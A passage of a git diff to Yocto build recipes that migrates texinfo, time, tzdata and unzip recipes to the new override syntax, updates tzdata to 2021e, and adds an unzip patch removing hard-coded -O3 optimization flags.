+
+do_install:append:class-native() {
+ install -m 755 info/makedoc ${D}${bindir}
+}
+
+PACKAGES += "info info-doc"
+
+FILES:info = "${bindir}/info ${bindir}/infokey ${bindir}/install-info"
+FILES:info-doc = "${infodir}/info.info* ${infodir}/dir ${infodir}/info-*.info* \
+ ${mandir}/man1/info.1* ${mandir}/man5/info.5* \
+ ${mandir}/man1/infokey.1* ${mandir}/man1/install-info.1*"
+
+FILES:${PN} = "${bindir}/makeinfo ${bindir}/texi* ${bindir}/pdftexi2dvi ${bindir}/pod2texi ${datadir}/texinfo"
+RDEPENDS:${PN} = "perl"
+FILES:${PN}-doc = "${infodir}/texinfo* \
+ ${datadir}/${tex_texinfo} \
+ ${mandir}/man1 ${mandir}/man5"
+
+# Lie about providing the Locale::gettext_xs module. It is not actually built,
+# but the code will test for it and if not found use Locale::gettext_pp instead.
+# However, this causes a file dependency on perl(Locale::gettext_xs) to be
+# generated, which must be satisfied.
+RPROVIDES:${PN} += "perl(Locale::gettext_xs)"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/time/time_1.9.bb b/meta/recipes-extended/time/time_1.9.bb
index e2b084caae..abd00f09bf 100644
--- a/meta/recipes-extended/time/time_1.9.bb
+++ b/meta/recipes-extended/time/time_1.9.bb
@@ -8,7 +8,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
inherit texinfo update-alternatives
-ALTERNATIVE_${PN} = "time"
+ALTERNATIVE:${PN} = "time"
ALTERNATIVE_PRIORITY = "100"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/timezone/timezone.inc b/meta/recipes-extended/timezone/timezone.inc
index 5368464f30..43d14d7f12 100644
--- a/meta/recipes-extended/timezone/timezone.inc
+++ b/meta/recipes-extended/timezone/timezone.inc
@@ -3,10 +3,10 @@ DESCRIPTION = "The Time Zone Database contains code and data that represent \
the history of local time for many representative locations around the globe."
HOMEPAGE = "http://www.iana.org/time-zones"
SECTION = "base"
-LICENSE = "PD & BSD & BSD-3-Clause"
+LICENSE = "PD & BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=c679c9d6b02bc2757b3eaf8f53c43fba"
-PV = "2020d"
+PV = "2021e"
SRC_URI =" http://www.iana.org/time-zones/repository/releases/tzcode${PV}.tar.gz;name=tzcode \
http://www.iana.org/time-zones/repository/releases/tzdata${PV}.tar.gz;name=tzdata \
@@ -14,5 +14,6 @@ SRC_URI =" http://www.iana.org/time-zones/repository/releases/tzcode${PV}.tar.gz
UPSTREAM_CHECK_URI = "http://www.iana.org/time-zones"
-SRC_URI[tzcode.sha256sum] = "6cf050ba28e8053029d3f32d71341d11a794c6b5dd51a77fc769d6dae364fad5"
-SRC_URI[tzdata.sha256sum] = "8d813957de363387696f05af8a8889afa282ab5016a764c701a20758d39cbaf3"
+SRC_URI[tzcode.sha256sum] = "584666393a5424d13d27ec01183da17703273664742e049d4f62f62dab631775"
+SRC_URI[tzdata.sha256sum] = "07ec42b737d0d3c6be9c337f8abb5f00554a0f9cc4fcf01a703d69403b6bb2b1"
+
diff --git a/meta/recipes-extended/timezone/tzdata.bb b/meta/recipes-extended/timezone/tzdata.bb
index f8443110d5..cc1caff124 100644
--- a/meta/recipes-extended/timezone/tzdata.bb
+++ b/meta/recipes-extended/timezone/tzdata.bb
@@ -4,207 +4,206 @@ DEPENDS = "tzcode-native"
inherit allarch
-RCONFLICTS_${PN} = "timezones timezone-africa timezone-america timezone-antarctica \
- timezone-arctic timezone-asia timezone-atlantic \
- timezone-australia timezone-europe timezone-indian \
- timezone-iso3166.tab timezone-pacific timezone-zone.tab"
-
S = "${WORKDIR}"
DEFAULT_TIMEZONE ?= "Universal"
INSTALL_TIMEZONE_FILE ?= "1"
-TZONES= "africa antarctica asia australasia europe northamerica southamerica \
- factory etcetera backward \
- "
-# pacificnew
-
-do_compile () {
- for zone in ${TZONES}; do \
- ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo -L /dev/null \
- ${S}/${zone} ; \
- ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo/posix -L /dev/null \
- ${S}/${zone} ; \
- ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo/right -L ${S}/leapseconds \
- ${S}/${zone} ; \
- done
+TZONES = " \
+ africa antarctica asia australasia europe northamerica southamerica \
+ factory etcetera backward \
+"
+# pacificnew
+
+# "slim" is the default since 2020b
+# "fat" is needed by e.g. MariaDB's mysql_tzinfo_to_sql
+ZIC_FMT ?= "slim"
+
+do_compile() {
+ for zone in ${TZONES}; do
+ ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${WORKDIR}${datadir}/zoneinfo -L /dev/null ${S}/${zone}
+ ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${WORKDIR}${datadir}/zoneinfo/posix -L /dev/null ${S}/${zone}
+ ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${WORKDIR}${datadir}/zoneinfo/right -L ${S}/leapseconds ${S}/${zone}
+ done
}
-do_install () {
- install -d ${D}/$exec_prefix ${D}${datadir}/zoneinfo
- cp -pPR ${S}/$exec_prefix ${D}/
- # libc is removing zoneinfo files from package
- cp -pP "${S}/zone.tab" ${D}${datadir}/zoneinfo
- cp -pP "${S}/zone1970.tab" ${D}${datadir}/zoneinfo
- cp -pP "${S}/iso3166.tab" ${D}${datadir}/zoneinfo
- cp -pP "${S}/leapseconds" ${D}${datadir}/zoneinfo
- cp -pP "${S}/leap-seconds.list" ${D}${datadir}/zoneinfo
-
- # Install default timezone
- if [ -e ${D}${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ]; then
- install -d ${D}${sysconfdir}
- if [ "${INSTALL_TIMEZONE_FILE}" = "1" ]; then
- echo ${DEFAULT_TIMEZONE} > ${D}${sysconfdir}/timezone
- fi
- ln -s ${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ${D}${sysconfdir}/localtime
- else
- bberror "DEFAULT_TIMEZONE is set to an invalid value."
- exit 1
- fi
-
- chown -R root:root ${D}
+do_install() {
+ install -d ${D}$exec_prefix ${D}${datadir}/zoneinfo
+ cp -pPR ${WORKDIR}$exec_prefix ${D}${base_prefix}
+ # libc is removing zoneinfo files from package
+ cp -pP "${S}/zone.tab" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/zone1970.tab" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/iso3166.tab" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/leapseconds" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/leap-seconds.list" ${D}${datadir}/zoneinfo
+
+ # Install default timezone
+ if [ -e ${D}${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ]; then
+ install -d ${D}${sysconfdir}
+ if [ "${INSTALL_TIMEZONE_FILE}" = "1" ]; then
+ echo ${DEFAULT_TIMEZONE} > ${D}${sysconfdir}/timezone
+ fi
+ ln -s ${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ${D}${sysconfdir}/localtime
+ else
+ bberror "DEFAULT_TIMEZONE is set to an invalid value."
+ exit 1
+ fi
+
+ chown -R root:root ${D}
}
-pkg_postinst_${PN} () {
+pkg_postinst:${PN}() {
etc_lt="$D${sysconfdir}/localtime"
src="$D${sysconfdir}/timezone"
- if [ -e ${src} ] ; then
- tz=$(sed -e 's:#.*::' -e 's:[[:space:]]*::g' -e '/^$/d' "${src}")
+ if [ -e "$src" ]; then
+ tz=$(sed -e 's:#.*::' -e 's:[[:space:]]*::g' -e '/^$/d' "$src")
fi
- if [ ! -z "${tz}" -a ! -e "$D${datadir}/zoneinfo/${tz}" ] ; then
- echo "You have an invalid TIMEZONE setting in ${src}"
- echo "Your ${etc_lt} has been reset to Universal; enjoy!"
+ if [ ! -z "$tz" -a ! -e "$D${datadir}/zoneinfo/$tz" ]; then
+ echo "You have an invalid TIMEZONE setting in $src"
+ echo "Your $etc_lt has been reset to Universal; enjoy!"
tz="Universal"
- echo "Updating ${etc_lt} with $D${datadir}/zoneinfo/${tz}"
- if [ -L ${etc_lt} ] ; then
- rm -f "${etc_lt}"
+ echo "Updating $etc_lt with $D${datadir}/zoneinfo/$tz"
+ if [ -L "$etc_lt" ]; then
+ rm -f "$etc_lt"
fi
- ln -s "${datadir}/zoneinfo/${tz}" "${etc_lt}"
+ ln -s "${datadir}/zoneinfo/$tz" "$etc_lt"
fi
}
-# Packages primarily organized by directory with a major city
-# in most time zones in the base package
-
+# Packages are primarily organized by directory with a major city in most time
+# zones in the base package
TZ_PACKAGES = " \
tzdata-core tzdata-misc tzdata-posix tzdata-right tzdata-africa \
tzdata-americas tzdata-antarctica tzdata-arctic tzdata-asia \
- tzdata-atlantic tzdata-australia tzdata-europe tzdata-pacific"
+ tzdata-atlantic tzdata-australia tzdata-europe tzdata-pacific \
+"
PACKAGES = "${TZ_PACKAGES} ${PN}"
-FILES_tzdata-africa += "${datadir}/zoneinfo/Africa/*"
-RPROVIDES_tzdata-africa = "tzdata-africa"
-
-FILES_tzdata-americas += "${datadir}/zoneinfo/America/* \
- ${datadir}/zoneinfo/US/* \
- ${datadir}/zoneinfo/Brazil/* \
- ${datadir}/zoneinfo/Canada/* \
- ${datadir}/zoneinfo/Mexico/* \
- ${datadir}/zoneinfo/Chile/*"
-RPROVIDES_tzdata-americas = "tzdata-americas"
-
-FILES_tzdata-antarctica += "${datadir}/zoneinfo/Antarctica/*"
-RPROVIDES_tzdata-antarctica = "tzdata-antarctica"
-
-FILES_tzdata-arctic += "${datadir}/zoneinfo/Arctic/*"
-RPROVIDES_tzdata-arctic = "tzdata-arctic"
-
-FILES_tzdata-asia += "${datadir}/zoneinfo/Asia/* \
- ${datadir}/zoneinfo/Indian/* \
- ${datadir}/zoneinfo/Mideast/*"
-RPROVIDES_tzdata-asia = "tzdata-asia"
-
-FILES_tzdata-atlantic += "${datadir}/zoneinfo/Atlantic/*"
-RPROVIDES_tzdata-atlantic = "tzdata-atlantic"
-
-FILES_tzdata-australia += "${datadir}/zoneinfo/Australia/*"
-RPROVIDES_tzdata-australia = "tzdata-australia"
-
-FILES_tzdata-europe += "${datadir}/zoneinfo/Europe/*"
-RPROVIDES_tzdata-europe = "tzdata-europe"
-
-FILES_tzdata-pacific += "${datadir}/zoneinfo/Pacific/*"
-RPROVIDES_tzdata-pacific = "tzdata-pacific"
-
-FILES_tzdata-posix += "${datadir}/zoneinfo/posix/*"
-RPROVIDES_tzdata-posix = "tzdata-posix"
-
-FILES_tzdata-right += "${datadir}/zoneinfo/right/*"
-RPROVIDES_tzdata-right = "tzdata-right"
-
-FILES_tzdata-misc += "${datadir}/zoneinfo/Cuba \
- ${datadir}/zoneinfo/Egypt \
- ${datadir}/zoneinfo/Eire \
- ${datadir}/zoneinfo/Factory \
- ${datadir}/zoneinfo/GB-Eire \
- ${datadir}/zoneinfo/Hongkong \
- ${datadir}/zoneinfo/Iceland \
- ${datadir}/zoneinfo/Iran \
- ${datadir}/zoneinfo/Israel \
- ${datadir}/zoneinfo/Jamaica \
- ${datadir}/zoneinfo/Japan \
- ${datadir}/zoneinfo/Kwajalein \
- ${datadir}/zoneinfo/Libya \
- ${datadir}/zoneinfo/Navajo \
- ${datadir}/zoneinfo/Poland \
- ${datadir}/zoneinfo/Portugal \
- ${datadir}/zoneinfo/Singapore \
- ${datadir}/zoneinfo/Turkey"
-RPROVIDES_tzdata-misc = "tzdata-misc"
-
-FILES_tzdata-core += " \
- ${sysconfdir}/localtime \
- ${sysconfdir}/timezone \
- ${datadir}/zoneinfo/leapseconds \
- ${datadir}/zoneinfo/leap-seconds.list \
- ${datadir}/zoneinfo/Pacific/Honolulu \
- ${datadir}/zoneinfo/America/Anchorage \
- ${datadir}/zoneinfo/America/Los_Angeles \
- ${datadir}/zoneinfo/America/Denver \
- ${datadir}/zoneinfo/America/Chicago \
- ${datadir}/zoneinfo/America/New_York \
- ${datadir}/zoneinfo/America/Caracas \
- ${datadir}/zoneinfo/America/Sao_Paulo \
- ${datadir}/zoneinfo/Europe/London \
- ${datadir}/zoneinfo/Europe/Paris \
- ${datadir}/zoneinfo/Africa/Cairo \
- ${datadir}/zoneinfo/Europe/Moscow \
- ${datadir}/zoneinfo/Asia/Dubai \
- ${datadir}/zoneinfo/Asia/Karachi \
- ${datadir}/zoneinfo/Asia/Dhaka \
- ${datadir}/zoneinfo/Asia/Bangkok \
- ${datadir}/zoneinfo/Asia/Hong_Kong \
- ${datadir}/zoneinfo/Asia/Tokyo \
- ${datadir}/zoneinfo/Australia/Darwin \
- ${datadir}/zoneinfo/Australia/Adelaide \
- ${datadir}/zoneinfo/Australia/Brisbane \
- ${datadir}/zoneinfo/Australia/Sydney \
- ${datadir}/zoneinfo/Pacific/Noumea \
- ${datadir}/zoneinfo/CET \
- ${datadir}/zoneinfo/CST6CDT \
- ${datadir}/zoneinfo/EET \
- ${datadir}/zoneinfo/EST \
- ${datadir}/zoneinfo/EST5EDT \
- ${datadir}/zoneinfo/GB \
- ${datadir}/zoneinfo/GMT \
- ${datadir}/zoneinfo/GMT+0 \
- ${datadir}/zoneinfo/GMT-0 \
- ${datadir}/zoneinfo/GMT0 \
- ${datadir}/zoneinfo/Greenwich \
- ${datadir}/zoneinfo/HST \
- ${datadir}/zoneinfo/MET \
- ${datadir}/zoneinfo/MST \
- ${datadir}/zoneinfo/MST7MDT \
- ${datadir}/zoneinfo/NZ \
- ${datadir}/zoneinfo/NZ-CHAT \
- ${datadir}/zoneinfo/PRC \
- ${datadir}/zoneinfo/PST8PDT \
- ${datadir}/zoneinfo/ROC \
- ${datadir}/zoneinfo/ROK \
- ${datadir}/zoneinfo/UCT \
- ${datadir}/zoneinfo/UTC \
- ${datadir}/zoneinfo/Universal \
- ${datadir}/zoneinfo/W-SU \
- ${datadir}/zoneinfo/WET \
- ${datadir}/zoneinfo/Zulu \
- ${datadir}/zoneinfo/zone.tab \
- ${datadir}/zoneinfo/zone1970.tab \
- ${datadir}/zoneinfo/iso3166.tab \
- ${datadir}/zoneinfo/Etc/*"
-
-CONFFILES_tzdata-core = "${sysconfdir}/localtime ${sysconfdir}/timezone"
-
-ALLOW_EMPTY_${PN} = "1"
-RDEPENDS_${PN} = "${TZ_PACKAGES}"
+FILES:tzdata-africa += "${datadir}/zoneinfo/Africa"
+
+FILES:tzdata-americas += " \
+ ${datadir}/zoneinfo/America \
+ ${datadir}/zoneinfo/US \
+ ${datadir}/zoneinfo/Brazil \
+ ${datadir}/zoneinfo/Canada \
+ ${datadir}/zoneinfo/Mexico \
+ ${datadir}/zoneinfo/Chile \
+"
+
+FILES:tzdata-antarctica += "${datadir}/zoneinfo/Antarctica"
+
+FILES:tzdata-arctic += "${datadir}/zoneinfo/Arctic"
+
+FILES:tzdata-asia += " \
+ ${datadir}/zoneinfo/Asia \
+ ${datadir}/zoneinfo/Indian \
+ ${datadir}/zoneinfo/Mideast \
+"
+
+FILES:tzdata-atlantic += "${datadir}/zoneinfo/Atlantic"
+
+FILES:tzdata-australia += "${datadir}/zoneinfo/Australia"
+
+FILES:tzdata-europe += "${datadir}/zoneinfo/Europe"
+
+FILES:tzdata-pacific += "${datadir}/zoneinfo/Pacific"
+
+FILES:tzdata-posix += "${datadir}/zoneinfo/posix"
+
+FILES:tzdata-right += "${datadir}/zoneinfo/right"
+
+FILES:tzdata-misc += " \
+ ${datadir}/zoneinfo/Cuba \
+ ${datadir}/zoneinfo/Egypt \
+ ${datadir}/zoneinfo/Eire \
+ ${datadir}/zoneinfo/Factory \
+ ${datadir}/zoneinfo/GB-Eire \
+ ${datadir}/zoneinfo/Hongkong \
+ ${datadir}/zoneinfo/Iceland \
+ ${datadir}/zoneinfo/Iran \
+ ${datadir}/zoneinfo/Israel \
+ ${datadir}/zoneinfo/Jamaica \
+ ${datadir}/zoneinfo/Japan \
+ ${datadir}/zoneinfo/Kwajalein \
+ ${datadir}/zoneinfo/Libya \
+ ${datadir}/zoneinfo/Navajo \
+ ${datadir}/zoneinfo/Poland \
+ ${datadir}/zoneinfo/Portugal \
+ ${datadir}/zoneinfo/Singapore \
+ ${datadir}/zoneinfo/Turkey \
+"
+
+FILES:tzdata-core += " \
+ ${sysconfdir}/localtime \
+ ${sysconfdir}/timezone \
+ ${datadir}/zoneinfo/leapseconds \
+ ${datadir}/zoneinfo/leap-seconds.list \
+ ${datadir}/zoneinfo/Pacific/Honolulu \
+ ${datadir}/zoneinfo/America/Anchorage \
+ ${datadir}/zoneinfo/America/Los_Angeles \
+ ${datadir}/zoneinfo/America/Denver \
+ ${datadir}/zoneinfo/America/Chicago \
+ ${datadir}/zoneinfo/America/New_York \
+ ${datadir}/zoneinfo/America/Caracas \
+ ${datadir}/zoneinfo/America/Sao_Paulo \
+ ${datadir}/zoneinfo/Europe/London \
+ ${datadir}/zoneinfo/Europe/Paris \
+ ${datadir}/zoneinfo/Africa/Cairo \
+ ${datadir}/zoneinfo/Europe/Moscow \
+ ${datadir}/zoneinfo/Asia/Dubai \
+ ${datadir}/zoneinfo/Asia/Karachi \
+ ${datadir}/zoneinfo/Asia/Dhaka \
+ ${datadir}/zoneinfo/Asia/Bangkok \
+ ${datadir}/zoneinfo/Asia/Hong_Kong \
+ ${datadir}/zoneinfo/Asia/Tokyo \
+ ${datadir}/zoneinfo/Australia/Darwin \
+ ${datadir}/zoneinfo/Australia/Adelaide \
+ ${datadir}/zoneinfo/Australia/Brisbane \
+ ${datadir}/zoneinfo/Australia/Sydney \
+ ${datadir}/zoneinfo/Pacific/Noumea \
+ ${datadir}/zoneinfo/CET \
+ ${datadir}/zoneinfo/CST6CDT \
+ ${datadir}/zoneinfo/EET \
+ ${datadir}/zoneinfo/EST \
+ ${datadir}/zoneinfo/EST5EDT \
+ ${datadir}/zoneinfo/GB \
+ ${datadir}/zoneinfo/GMT \
+ ${datadir}/zoneinfo/GMT+0 \
+ ${datadir}/zoneinfo/GMT-0 \
+ ${datadir}/zoneinfo/GMT0 \
+ ${datadir}/zoneinfo/Greenwich \
+ ${datadir}/zoneinfo/HST \
+ ${datadir}/zoneinfo/MET \
+ ${datadir}/zoneinfo/MST \
+ ${datadir}/zoneinfo/MST7MDT \
+ ${datadir}/zoneinfo/NZ \
+ ${datadir}/zoneinfo/NZ-CHAT \
+ ${datadir}/zoneinfo/PRC \
+ ${datadir}/zoneinfo/PST8PDT \
+ ${datadir}/zoneinfo/ROC \
+ ${datadir}/zoneinfo/ROK \
+ ${datadir}/zoneinfo/UCT \
+ ${datadir}/zoneinfo/UTC \
+ ${datadir}/zoneinfo/Universal \
+ ${datadir}/zoneinfo/W-SU \
+ ${datadir}/zoneinfo/WET \
+ ${datadir}/zoneinfo/Zulu \
+ ${datadir}/zoneinfo/zone.tab \
+ ${datadir}/zoneinfo/zone1970.tab \
+ ${datadir}/zoneinfo/iso3166.tab \
+ ${datadir}/zoneinfo/Etc \
+"
+
+CONFFILES:tzdata-core = "${sysconfdir}/localtime ${sysconfdir}/timezone"
+
+ALLOW_EMPTY:${PN} = "1"
+
+RDEPENDS:${PN} = "${TZ_PACKAGES}"
+RCONFLICTS:${PN} = " \
+ timezones timezone-africa timezone-america timezone-antarctica \
+ timezone-arctic timezone-asia timezone-atlantic timezone-australia \
+ timezone-europe timezone-indian timezone-iso3166.tab timezone-pacific \
+ timezone-zone.tab \
+"
diff --git a/meta/recipes-extended/unzip/unzip/avoid-strip.patch b/meta/recipes-extended/unzip/unzip/avoid-strip.patch
index 8f30e42674..e0c89d81b7 100644
--- a/meta/recipes-extended/unzip/unzip/avoid-strip.patch
+++ b/meta/recipes-extended/unzip/unzip/avoid-strip.patch
@@ -1,4 +1,4 @@
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [need a new release]
unix/Makefile: remove hard coded strip commands
diff --git a/meta/recipes-extended/unzip/unzip/define-ldflags.patch b/meta/recipes-extended/unzip/unzip/define-ldflags.patch
index 659c6e3315..dc554c32cb 100644
--- a/meta/recipes-extended/unzip/unzip/define-ldflags.patch
+++ b/meta/recipes-extended/unzip/unzip/define-ldflags.patch
@@ -1,6 +1,6 @@
Pass LDFLAGS to the linker
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [need a new release]
Signed-off-by: Mikhail Durnev <Mikhail_Durnev@mentor.com>
diff --git a/meta/recipes-extended/unzip/unzip/fix-security-format.patch b/meta/recipes-extended/unzip/unzip/fix-security-format.patch
index 8e9b06c423..ba6ead3b5e 100644
--- a/meta/recipes-extended/unzip/unzip/fix-security-format.patch
+++ b/meta/recipes-extended/unzip/unzip/fix-security-format.patch
@@ -5,7 +5,7 @@ Fix security formatting issues related to sprintf parameters expeted.
[YOCTO #9551]
[https://bugzilla.yoctoproject.org/show_bug.cgi?id=9551]
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [need a new release]
Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
diff --git a/meta/recipes-extended/unzip/unzip/symlink.patch b/meta/recipes-extended/unzip/unzip/symlink.patch
index a38f6f1612..c1d82ac187 100644
--- a/meta/recipes-extended/unzip/unzip/symlink.patch
+++ b/meta/recipes-extended/unzip/unzip/symlink.patch
@@ -6,7 +6,7 @@ a symlink entry."
This patch is taken from Fedora (https://bugzilla.redhat.com/show_bug.cgi?id=972427)
-Upstream-Status: Pending (upstream is dead)
+Upstream-Status: Inappropriate [need a new release]
Signed-off-by: Ross Burton <ross.burton@intel.com>
--- unzip60/process.c.sav 2013-06-09 12:08:57.070392264 +0200
diff --git a/meta/recipes-extended/unzip/unzip/unzip_optimization.patch b/meta/recipes-extended/unzip/unzip/unzip_optimization.patch
new file mode 100644
index 0000000000..4bab7b26af
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/unzip_optimization.patch
@@ -0,0 +1,127 @@
+unzip: use optimization from bitbake
+
+Remove -O3 optimizations to use bitbake default optimization levels.
+
+Upstream-Status: Inappropriate [configuration]
+
+Signed-off-by: Mikko Rapeli <mikko.rapeli@bmw.de>
+
+diff -rup unix-orig/configure unix/configure
+--- a/unix-orig/configure 2021-04-16 10:25:03.120858292 +0000
++++ b/unix/configure 2021-04-16 10:46:43.292546138 +0000
+@@ -70,7 +70,7 @@ int main()
+ _EOF_
+ $CC $CFLAGS -c conftest.c > /dev/null 2>/dev/null
+ if test $? -eq 0; then
+- CFLAGS_OPT='-O3'
++ CFLAGS_OPT=''
+ echo " DEC C ($CFLAGS_OPT)"
+ else
+ # HP-UX HP C?
+@@ -111,7 +111,7 @@ int main()
+ _EOF_
+ $CC $CFLAGS -c conftest.c > /dev/null 2>/dev/null
+ if test $? -eq 0; then
+- CFLAGS_OPT='-O3'
++ CFLAGS_OPT=''
+ echo " GNU C ($CFLAGS_OPT)"
+ # Special Mac OS X shared library "ld" option?
+ if test ` uname -s 2> /dev/null ` = 'Darwin'; then
+diff -rup unix-orig/Makefile unix/Makefile
+--- a/unix-orig/Makefile 2021-04-16 10:25:03.000863878 +0000
++++ b/unix/Makefile 2021-04-16 10:47:31.658299278 +0000
+@@ -47,7 +47,7 @@ LD = $(CC)# must match, else "unresolved
+ AS = as
+ LOC = $(D_USE_BZ2) $(LOCAL_UNZIP)
+ AF = $(LOC)
+-CFLAGS = -O
++CFLAGS =
+ CF_NOOPT = -I. -I$(IZ_BZIP2) -DUNIX $(LOC)
+ CF = $(CFLAGS) $(CF_NOOPT)
+ LFLAGS1 =
+@@ -594,12 +594,12 @@ generic_shlib: unix_make
+ @echo\
+ 'which is UnZip linked with the DLL). This target is an example only.'
+ @echo ""
+- $(MAKE) objsdll CC=gcc CFLAGS="-O3 -Wall -fPIC -DDLL"
++ $(MAKE) objsdll CC=gcc CFLAGS="-Wall -fPIC -DDLL"
+ gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)
+ $(RM) libunzip.so.0 libunzip.so
+ $(LN) -s libunzip.so.0.4 libunzip.so.0
+ $(LN) -s libunzip.so.0 libunzip.so
+- gcc -c -O unzipstb.c
++ gcc -c unzipstb.c
+ gcc -o unzip_shlib unzipstb.o -L. -lunzip
+
+ #----------------------------------------------------------------------------
+@@ -775,7 +775,7 @@ freebsd: unix_make
+ # with "echo" instead).
+ #
+ gcc: unix_make
+- $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-O3" LF2=""
++ $(MAKE) unzips CC=gcc LD=gcc CFLAGS="" LF2=""
+
+ # Heurikon HK68 (68010), UniPlus+ System V 5.0, Green Hills C-68000
+ hk68: unix_make
+@@ -792,7 +792,7 @@ isc: unix_make
+ isc_gcc: unix_make
+ $(MAKE) unzips AS=gcc CC=gcc LD=gcc CRCA_O=crc_gcc$O \
+ LF="-shlib $(LF)" SL="-shlib $(SL)" FL="-shlib $(FL)" LF2="" \
+- CFLAGS="-O3" LOC="-DSYSV -DASM_CRC -DNO_UID_GID -DNEED_PTEM -DNO_LCHOWN -DNO_LCHMOD $(LOC)" \
++ CFLAGS="" LOC="-DSYSV -DASM_CRC -DNO_UID_GID -DNEED_PTEM -DNO_LCHOWN -DNO_LCHMOD $(LOC)" \
+ AF="-DNO_UNDERLINE -Djecxz=jcxz -DALIGNMENT='.align 16' $(AF)"
+ $(STRIP) $(UNZIPS)
+
+@@ -808,7 +808,7 @@ isi: unix_make
+ linux: unix_make
+ @echo 'NOTE: use linux_noasm target for non-Intel Linux compiles.'
+ $(MAKE) unzips CC=gcc LD=gcc AS=gcc\
+- CFLAGS="-O3 -Wall -DASM_CRC"\
++ CFLAGS="-Wall -DASM_CRC"\
+ AF="-Di386 $(AF)" CRCA_O=crc_gcc$O
+ # GRR: this echo is pointless; if user gets this far, no difference to install
+ # @echo 'Be sure to use the install_asm target rather than the install target'
+@@ -818,14 +818,14 @@ linux_asm: linux
+ # Linux (Posix, approximately SysV): virtually any version since before 0.96,
+ # for any platform. Change "-O" to "-O3" or whatever, as desired...
+ linux_noasm: unix_make
+- $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-O -Wall"
++ $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-Wall"
+
+ # Linux with lcc compiler: __inline__ (stat.h) not recognized, and must edit
+ # /usr/include/gnu/types.h to get rid of "long long" if __LCC__ defined. -O3
+ # (or -O2 or -O) is ignored. [GRR 960828: test target only]
+ #
+ linux_lcc: unix_make
+- $(MAKE) unzips CC=lcc LD=lcc CFLAGS="-O3 -Wall -D__inline__= "
++ $(MAKE) unzips CC=lcc LD=lcc CFLAGS="-Wall -D__inline__= "
+
+ # Linux host with go32 (djgpp) cross-compiler (go32crs.tgz) for 32-bit DOS.
+ linux_dos: unix_make
+@@ -844,7 +844,7 @@ linux_dos: unix_make
+ # library).
+ #
+ linux_shlib: unix_make
+- $(MAKE) objsdll CC=gcc CFLAGS="-O3 -Wall -fPIC"\
++ $(MAKE) objsdll CC=gcc CFLAGS="-Wall -fPIC"\
+ LOC="-DDLL -DASM_CRC $(LOC)"\
+ AS=gcc AF="-fPIC -Di386 $(AF)" CRCA_O=crc_gcc$O
+ gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)\
+@@ -858,7 +858,7 @@ linux_shlib: unix_make
+ # instead of the original UnZip version. (libz was libgz prior to 0.94)
+ linux_shlibz: unix_make
+ $(MAKE) objsdll CC=gcc AS=gcc AF="-fPIC -Di386 $(AF)" CRCA_O=crc_gcc$O\
+- CFLAGS="-O3 -Wall -fPIC" LOC="-DDLL -DUSE_ZLIB -DASM_CRC $(LOC)"
++ CFLAGS="-Wall -fPIC" LOC="-DDLL -DUSE_ZLIB -DASM_CRC $(LOC)"
+ gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)\
+ crc_gcc.pic.o
+ ln -sf libunzip.so.0.4 libunzip.so.0
+@@ -871,7 +871,7 @@ lynx: unix_make
+
+ # Macintosh MacOS X (Unix-compatible enviroment), using standard compiler
+ macosx: unix_make
+- $(MAKE) unzips CFLAGS="-O3 -Wall -DBSD" LF2=""
++ $(MAKE) unzips CFLAGS="-Wall -DBSD" LF2=""
+ $(STRIP) $(UNZIPS)
+
+ # Macintosh MacOS X (Unix-compatible enviroment), using gcc
diff --git a/meta/recipes-extended/unzip/unzip_6.0.bb b/meta/recipes-extended/unzip/unzip_6.0.bb
index c1ea0a9a2c..0bc6abcd4b 100644
--- a/meta/recipes-extended/unzip/unzip_6.0.bb
+++ b/meta/recipes-extended/unzip/unzip_6.0.bb
@@ -1,5 +1,6 @@
SUMMARY = "Utilities for extracting and viewing files in .zip archives"
HOMEPAGE = "http://www.info-zip.org"
+DESCRIPTION = "Info-ZIP's purpose is to provide free, portable, high-quality versions of the Zip and UnZip compressor-archiver utilities that are compatible with the DOS-based PKZIP by PKWARE, Inc."
SECTION = "console/utils"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=94caec5a51ef55ef711ee4e8b1c69e29"
@@ -25,12 +26,16 @@ SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/UnZip%206.x%20%28latest%29/UnZip%206.0/
file://CVE-2019-13232_p1.patch \
file://CVE-2019-13232_p2.patch \
file://CVE-2019-13232_p3.patch \
+ file://unzip_optimization.patch \
"
UPSTREAM_VERSION_UNKNOWN = "1"
SRC_URI[md5sum] = "62b490407489521db863b523a7f86375"
SRC_URI[sha256sum] = "036d96991646d0449ed0aa952e4fbe21b476ce994abc276e49d30e686708bd37"
+# Patch from https://bugzilla.redhat.com/attachment.cgi?id=293893&action=diff applied to 6.0 source
+CVE_CHECK_WHITELIST += "CVE-2008-0888"
+
